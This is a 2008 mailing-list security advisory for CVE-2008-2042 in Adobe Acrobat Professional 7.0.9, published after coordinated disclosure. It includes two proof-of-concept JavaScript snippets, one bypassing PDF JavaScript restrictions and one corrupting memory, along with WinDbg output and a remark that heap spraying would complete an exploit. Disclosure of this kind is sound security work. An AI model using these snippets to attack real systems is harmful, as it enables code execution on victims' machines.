Message-ID: <3d7a6e870805061835r63f710a7ka9a75234ede2693c@mail.gmail.com>
Date: Wed, 7 May 2008 09:35:50 +0800
From: cocoruder <cocoruder@...il.com>
To: full-disclosure@...ts.grok.org.uk, bugtraq@...urityfocus.com
Subject: Adobe Acrobat Professional Javascript For PDF Security Feature Bypass and Memory Corruption Vulnerabilities

Adobe Acrobat Professional Javascript For PDF Security Feature Bypass
and Memory Corruption Vulnerabilities

by cocoruder(frankruder_at_hotmail.com)
http://ruder.cdut.net


Summary:

    Two critical vulnerabilities exist in the javascript API of Adobe
Acrobat Professional 7. A remote attacker who successfully exploits
these vulnerabilities can execute restricted functions and arbitrary
codes on the affected system.


Affected Software Versions:

    Adobe Acrobat Professional 7.0.9



Details:

    These two vulnerabilities specially exist in an unpublicized
fucntion called "app.checkForUpdate()", which are exploited through a
callback function.

    Following is the POC for how to execute restricted functions:

	function	myCallBack()
	{
		app.alert("It will call app.newDoc()");
		app.newDoc();
		app.alert("function has been called");
	}

	app.checkForUpdate
	({
		cType:"AAAA",
		cName:"BBBB",
		oCallback:myCallBack,
		cVer:"CCCC",
		cMsg:"DDDD",
		oParams:myCallBack
	});


    As we know, when we call "app.newDoc()" normally, the function can
not be executed because of the security feature of PDF's javascript,
but the above code can still execute this function successfully, other
restricted functions can also be executed by exploiting this
vulnerability.

    The POC for triggering the memory corruption vulnerability:

	function	myCallBack()
	{
		app.alert("Corrupting the memory");

		// Open a new report will corrupt the memory
		var rep = new Report();

		app.alert("If the application has not been crashed, try to close the
application and then you will get it.");
	}

	app.checkForUpdate
	({
		cType:"AAAA",
		cName:"BBBB",
		oCallback:myCallBack,
		cVer:"CCCC",
		cMsg:"DDDD",
		oParams:myCallBack
	});


    When we call the function "new Report()"(other functions maybe
useful too) in the function "Callback", it will corrupt the memory.
Debug informations from Windbg as follows:

	First chance exceptions are reported before any exception handling.
	This exception may be expected and handled.
	eax=0946fb98 ebx=00000040 ecx=10101010 edx=0946fb90 esi=0946eaea edi=01c1dfbc
	eip=10101010 esp=0012f6cc ebp=0012f77c iopl=0         nv up ei pl nz na po nc
	cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
	exlang32+0x101010:
	10101010 001b            add     byte ptr [ebx],bl          ds:0023:00000040=??
	0:000> u eip
	exlang32+0x101010:
	10101010 001b            add     byte ptr [ebx],bl
	10101012 6c              ins     byte ptr es:[edi],dx
	10101013 0000            add     byte ptr [eax],al
	10101015 1b640000        sbb     esp,dword ptr [eax+eax]
	10101019 336000          xor     esp,dword ptr [eax]
	1010101c 0033            add     byte ptr [ebx],dh
	1010101e 60              pushad
	1010101f 0000            add     byte ptr [eax],al

    It is running codes at an unexpected address.

    Using the heap spray technology of javascript in PDF can develop a
working exploit for this vulnerability easily.

    Note that because the special API does NOT exist in Adobe
Reader/Acrobat 8, as my test, the vulnerability does NOT affect Adobe
Reader/Acrobat 8.



Solution:

    Adobe has released an advisory for this vulnerability which is available on:

    http://www.adobe.com/support/security/bulletins/apsb08-13.html

    Fortinet advisory can be found at:

    http://www.fortiguardcenter.com



CVE Information:

    CVE-2008-2042



Disclosure Timeline:

    2007.11.01        Vendor notified via email
    2007.11.02        Vendor responded
    2008.05.06        Coordinated public disclosure		



--EOF--

Powered by blists - more mailing lists